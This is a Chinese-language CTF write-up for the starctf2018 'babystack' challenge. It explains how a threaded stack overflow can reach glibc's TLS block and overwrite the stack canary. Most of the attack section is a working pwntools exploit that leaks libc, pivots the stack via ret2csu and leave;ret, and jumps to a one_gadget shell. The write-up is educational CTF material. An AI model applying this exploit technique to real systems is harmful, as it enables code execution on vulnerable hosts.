攻击GLIBC的TLS结构体,覆写Canary。 快速学习了一下Pthread,大致知道了多线程的用法。
starctf2018/pwn-babystack at master · sixstars/starctf2018 (github.com)
GLIBC 不仅把 Canary 放在 TLS(Thread Local Storage)中,还把 TLS 放在线程栈顶上(与线程栈有固定的偏移)。这就出现了覆写 Canary 的可能。
漏洞分析 程序逻辑很简单,就是开一个线程,然后这个线程里存在一个超大的栈溢出。
程序会用寄存器 fs 来存储 TLS 的位置,而 canary 就在 fs+0x28 的地方,如下结构体定义所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t ;
为了栈溢出覆盖 canary,可以用 pwndbg 调试查看 TLS 的位置,计算 BUFFER 与其偏移:
1 2 3 4 5 6 7 pwndbg> thread [Current thread is 2 (Thread 0x7ffff7da4700 (LWP 27104))] pwndbg> tls Thread Local Storage (TLS) base: 0x7ffff7da4700 pwndbg> distance $rsi 0x7ffff7da4700 0x7ffff7da2ee0->0x7ffff7da4700 is 0x1820 bytes (0x304 words)
漏洞利用 由于第二次进入函数的时候总会发生奇怪的问题,这里使用了stack pivot,通过ret2csu调用read往bss段读入one_gadget地址,并leave;ret把栈换过去,执行one_gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from LibcSearcher import *context.arch = 'amd64' context.terminal = ['tmux' , 'splitw' , '-h' ] filename = "./bs" io = process([filename]) elf = ELF(filename) libc_name = "/lib/x86_64-linux-gnu/libc.so.6" libc = ELF(libc_name) def debug (): g = gdb.attach(io, """ thread 2 """ )canary = b'canaryyy' nstack = 0x602f00 pop_rdi = 0x400c03 csu_end = 0x400bfa csu_mid = 0x400be0 leave_ret = 0x400955 def pwn (): payload = b'a' *0x1008 + canary + b'a' *8 payload += flat( pop_rdi, elf.got["puts" ], elf.plt["puts" ], csu_end, 0 , 1 , elf.got["read" ], 0x8 , nstack+8 , 0 , csu_mid, 0 , 0 , nstack, 0 , 0 , 0 , 0 , leave_ret, ) payload = payload.ljust(0x1820 +0x28 , b'\0' ) + canary io.sendlineafter(b"bytes" , str (len (payload)).encode("ascii" )) io.send(payload) io.recvuntil(b"goodbye.\n" ) libc_base = unpack(io.recv()[0 :6 ]+b'\0\0' ) - libc.symbols["puts" ] success("libc: " + hex (libc_base)) io.send(pack(libc_base + 0xe3afe )) io.interactive() if __name__ == '__main__' : pwn()